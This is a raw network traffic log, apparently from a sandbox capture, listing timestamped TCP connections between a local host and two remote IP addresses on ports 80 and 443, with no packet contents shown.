Sep 25, 2024 20:50:01.574765921 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.574779987 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.574793100 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.574803114 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.574816942 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.574826002 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.574829102 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.574842930 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.574865103 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.575548887 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.575562000 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.575577021 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.575603008 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.575613022 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.575624943 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.575633049 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.575638056 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.575650930 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.575664043 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.575694084 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.575699091 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.575711966 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.575722933 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.575736046 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.575747013 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.575747013 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.575761080 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.575761080 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.575787067 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.575809002 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.576500893 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.576513052 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.576528072 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.576545954 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.576564074 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.576608896 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.576620102 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.576632977 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.576642990 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.576646090 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.576659918 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.576668024 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.576673031 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.576685905 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.576694012 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.576699018 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.576709032 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.576734066 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.667704105 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.667721987 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.667745113 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.667756081 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.667771101 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.667785883 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.667792082 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.667805910 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.667810917 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.667817116 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.667833090 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.667845011 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.667848110 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.667857885 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.667860985 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.667875051 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.667886972 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.667890072 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.667902946 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.667915106 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.667927027 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.667944908 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.667973042 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.668020964 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.668032885 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.668123960 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.668134928 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.668159008 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.668185949 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.668190002 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.668201923 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.668215036 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.668234110 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.668236971 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.668248892 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.668272972 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.668292999 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.668318033 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.668354988 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.668414116 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.668426991 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.668438911 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.668458939 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.668458939 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.668479919 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.668482065 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.668492079 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.668504953 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.668504953 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.668518066 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.668520927 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.668531895 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.668533087 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.668555021 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.668574095 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.668854952 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.668868065 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.668879032 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.668899059 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.668904066 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.668920994 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.668925047 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.668931961 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.668946981 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.668946981 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.668962002 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.668977976 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.668992996 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.669044018 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.669055939 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.669070959 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.669080019 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.669083118 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.669096947 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.669104099 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.669109106 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.669123888 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.669131041 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.669147968 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.669177055 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.669292927 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.669328928 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.669331074 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.669341087 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.669368982 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.669378042 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.669497967 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.669519901 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.669626951 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.672857046 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.672868967 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.672882080 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.672909975 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.672945023 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.673033953 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.673047066 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.673059940 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.673073053 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.673084974 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.673089027 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.673098087 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.673114061 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.673115969 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.673127890 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.673131943 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.673141956 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.673155069 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.673157930 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.673171043 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.673182011 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.673183918 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.673197985 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.673197985 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.673212051 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.673228025 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.673261881 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.673424006 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.673496962 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.673510075 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.673510075 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.673522949 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.673543930 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.673563957 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.673574924 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.673578024 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.673604012 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.673614025 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.673680067 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.673727036 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.673741102 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.673755884 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.673770905 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.673793077 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.673794031 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.673805952 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.673830032 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.673847914 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.673861980 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.673875093 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.673887014 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.673899889 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.673917055 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.673938990 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.674096107 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.674146891 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.674300909 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.674321890 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.674345016 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.674357891 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.674372911 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.674387932 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.674397945 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.674401045 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.674412966 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.674422026 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.674424887 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.674438000 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.674442053 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.674452066 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.674467087 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.674468040 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.674479961 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.674494028 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.674494028 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.674506903 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.674513102 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.674524069 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.674537897 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.674540043 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.674551964 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.674566031 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.674566984 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.674585104 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.674606085 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.675041914 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.675055027 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.675065994 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.675076962 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.675090075 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.675091982 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.675103903 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.675103903 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.675117016 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.675131083 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.675136089 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.675142050 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.675156116 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.675168037 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.675168991 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.675178051 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.675183058 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.675195932 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.675205946 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.675210953 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.675223112 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.675225973 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.675251007 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.675271034 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.715622902 CEST	443	49738	188.114.96.3	192.168.2.5
Sep 25, 2024 20:50:01.715889931 CEST	49738	443	192.168.2.5	188.114.96.3
Sep 25, 2024 20:50:01.779736996 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.779752970 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.779773951 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.779787064 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.779793978 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.779798985 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.779810905 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.779819012 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.779824018 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.779835939 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.779848099 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.779848099 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.779861927 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.779869080 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.779872894 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.779882908 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.779886961 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.779897928 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.779908895 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.779911041 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.779925108 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.779936075 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.779961109 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.780075073 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.780086040 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.780106068 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.780117035 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.780117989 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.780128956 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.780141115 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.780153036 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.780153036 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.780167103 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.780170918 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.780195951 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.780220032 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.780386925 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.780426979 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.780476093 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.780488014 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.780510902 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.780522108 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.780529022 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.780534029 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.780550003 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.780554056 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.780565977 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.780576944 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.780587912 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.780589104 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.780600071 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.780610085 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.780611992 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.780622959 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.780637980 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.780643940 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.780656099 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.780658960 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.780685902 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.780689955 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.780700922 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.780720949 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.780733109 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.780733109 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.780745983 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.780762911 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.780766010 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.780780077 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.780801058 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.780915976 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.780927896 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.780940056 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.780951977 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.780961990 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.780966043 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.780975103 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.780980110 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.780993938 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.781003952 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.781008005 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.781022072 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.781049967 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.849090099 CEST	49738	443	192.168.2.5	188.114.96.3
Sep 25, 2024 20:50:01.849111080 CEST	443	49738	188.114.96.3	192.168.2.5
Sep 25, 2024 20:50:01.849631071 CEST	443	49738	188.114.96.3	192.168.2.5
